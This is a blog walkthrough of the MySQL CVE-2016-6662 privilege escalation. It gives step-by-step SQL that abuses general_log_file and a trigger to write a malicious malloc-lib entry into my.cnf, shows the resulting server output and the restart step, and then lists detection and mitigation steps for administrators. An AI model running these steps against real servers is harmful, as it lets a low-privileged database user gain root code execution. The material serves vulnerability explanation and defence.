CVE-2016-6662 : MySQL Remote Code Execution and Privilege Escalation

I stumbled upon a new MySQL remote code execution vulnerability CVE-2016-6662, which details the flaw in the way config file could be written by an authorized mysql user and the config file can be read by mysqld_safe to run malicious code and gain privileged access. CVE-2016-6663, promises to be more interesting, and am eagerly looking forward to it.
Before we dive into the details lets look at the current vulnerability which has a public exploit available. The exploit can be used to gain privileged access or gain remote server access and run arbitrary command as user root or mysql.

For complete report, refer advisory by Dawid Golunski.

This article is for system administrators and security researchers who are responsible for ensuring security on servers. If you are not, do not read further.

To summarize the vulnerability:-

  • An authorized mysql user with FILE or SUPER privilege can write/append to configuration file and also upload malicious code
  • The configuration file needs to be owned by mysql user, so as to allow write to system file via sql query
  • With ability to write/append to config file, malloc-lib option can be set to malicious shared library and use LD_PRELOAD technique to run the shared library
  • Mysqld service needs to be restarted to successfully complete the exploit. This allows mysqld_safe to read the new updated mysql config with new malloc library, and run with root privileges
  • Garbage values in config file have to be removed to successfully start mysql service

Attack Summary

Prerequisites

  • MySQL configuration file my.cnf that are read by mysqld_safe, in version 5.5, which is vulnerable are located in the following directories:-
# not comprehensive list
$DATADIR/my.cnf => /var/lib/mysql/my.cnf
/etc/my.cnf 
/etc/mysql/my.cnf
  • The config files should be writable by mysql user
  • MySQL user should have FILE permission to the database. Below shows the sql statements to perform the demo:-
-- demo  
mysql> create database exploitdemo ; 
-- SELECT permission is enough to perform. Just little lazy to choose all privileges
mysql> grant all privileges on exploitdemo.* to 'exploiter'@10.139.128.45 identified by 'Zvi0s4KR9leT85QttMOG6z' ; 
mysql> grant file on *.* to 'exploiter'@'10.139.128.45' ; 
mysql> flush privileges ; 

Upload malicious code

  • Code can be uploaded in several ways:-

    • SUPER user privileges
### mysql Server root mysql user 
mysql-server > grant super on *.* to 'exploiter'@'10.139.128.45' ;  
Query OK, 0 rows affected (0.00 sec)
### mysql client 
mysql> set global general_log_file='/var/lib/mysql/myown.cnf'; 
Query OK, 0 rows affected (0.00 sec)

mysql> set global general_log = on ;
Query OK, 0 rows affected (0.00 sec)

mysql> select '
    '> [mysqld_safe]
    '> malloc-lib=/tmp/mallicous.so
    '> ';
+----------------------------------------------+
| [mysqld_safe]
malloc-lib=/tmp/mallicous.so
  |
+----------------------------------------------+
| 
[mysqld_safe]
malloc-lib=/tmp/mallicous.so
 |
+----------------------------------------------+
1 row in set (0.00 sec)

mysql> set global general_log = off ;
Query OK, 0 rows affected (0.00 sec)
### mysql Server 
[email protected]:~# cat /var/lib/mysql/myown.cnf 
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160915  7:10:25	   40 Query	select '
[mysqld_safe]
malloc-lib=/tmp/mallicous.so
'
160915  7:10:33	   40 Query	set global general_log = off
  • FILE user privileges, without SUPER. TRIGGER can be used to bypass SUPER privilege restrictions as shown below.
mysql> create table test ( data varchar(1024)) ; 
Query OK, 0 rows affected (0.00 sec)

mysql> DELIMITER //
mysql> CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
    -> AFTER INSERT
    ->    ON `test` FOR EACH ROW
    -> BEGIN
    -> 
    ->    DECLARE void varchar(550);
    ->    set global general_log_file='/var/lib/mysql/my.cnf';
    ->    set global general_log = on;
    ->    select "
    "> 
    "> [mysqld_safe]
    "> malloc-lib='/tmp/mallicious.so'
    "> 
    "> " INTO void;   
    ->    set global general_log = off;
    -> 
    -> END; //
Query OK, 0 rows affected (0.01 sec)

mysql> DELIMITER ;
mysql> \q
Bye

[email protected]ysql:~# cat /var/lib/mysql/my.cnf  
cat: /var/lib/mysql/my.cnf: No such file or directory


### MySQL User
mysql> show grants ; 
+---------------------------------------------------------------------------------------------------------------------+
| Grants for [email protected]                                                                                  |
+---------------------------------------------------------------------------------------------------------------------+
| GRANT FILE ON *.* TO 'exploiter'@'10.139.128.45' IDENTIFIED BY PASSWORD '*AAE139DA1509459CB60E06D2BA80B9D0863BD39A' |
| GRANT ALL PRIVILEGES ON `exploitdemo`.* TO 'exploiter'@'10.139.128.45'                                              |
+---------------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

mysql> insert into test VALUES('execute the trigger!');  
Query OK, 1 row affected (0.00 sec)


Post insert into table, the trigger was run and config was created as shown below.

## Malicious write into my.cnf 
[email protected]:~# cat /var/lib/mysql/my.cnf  
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160915  7:42:40	   40 Query	select "

[mysqld_safe]
malloc-lib='/tmp/mallicious.so'

" INTO void
		   40 Query	SET global general_log = off

  • mysqld__safe will read the malicious malloc-lib in my.cnf and load it to LD_PRELOAD(oldschool style), before starting of mysqld. Hence the library is run as user root.

The malicious code is all set and now ready to run, with a help of server admin.

Execution of malicious code

The malicious code will have to be executed by the server administrator (offcourse, unintentionally!) or a cron job doing a restart should do. Mysql-server will be have to be restarted, and the garbage values in /var/lib/mysql/my.cnf have to be cleaned up for mysqld to start, without raising suspicion.
There are several ways an attacker could invoke a server administrator to restart mysql-server.

[email protected]:~# systemctl  restart mysql 
[email protected]:~# 

An attacker can gain reverse shell or run some arbitrary command on the server, with root privileges.

Exploit Demo

Debian Jessie 8.5

Debian Jessie with mysql-server installed.

CentOS 7.2

CentOS with mariadb-server

I could not replicate the attack on CentOS 6.8, Ubuntu 16.04.

On Ubuntu 16.04, mysqld has option secure_file_priv set to /var/lib/mysql/mysql-files/ disallowing write elsewhere.

On CentOS 6.8(latest), malloc-lib does not appear to be considered while starting.

On CentOS 7.2, the privilege gained was that of mysql system user, not root, as shown in the demo.

Am I affected?

To check if your server is vulnerable or not:-

  • look for my.cnf files writable/creatable by mysql user
  • check if mysqld_safe is run during startup

Mitigate Attack

For server administrators to mitigate this exploit, the following can be done:-

  • Look for all existing my.cnf and ensure mysql system user cant write to the file.
  • In directories where my.cnf are read and does not exist, create an empty file, not writable by mysql.
  • If option secure-file-priv is valid, set it to a directory like /var/lib/mysql/mysql-files/. It would be interesting to see number of attempts made.
  • If feasible, dont use mysqld_safe and use systemd to start mysql service.

This article is for system administrators to understand the exploit and mitigate before it is too late. I accept no responsibility for any damage caused by the use or misuse of the above information.

Dinesh Gunasekar - | Tags : RCE, CVE-2016-6662, Privilege Escalation, Remote Code Execution, Mysql 5.5, Mariadb 5.5
comments powered by Disqus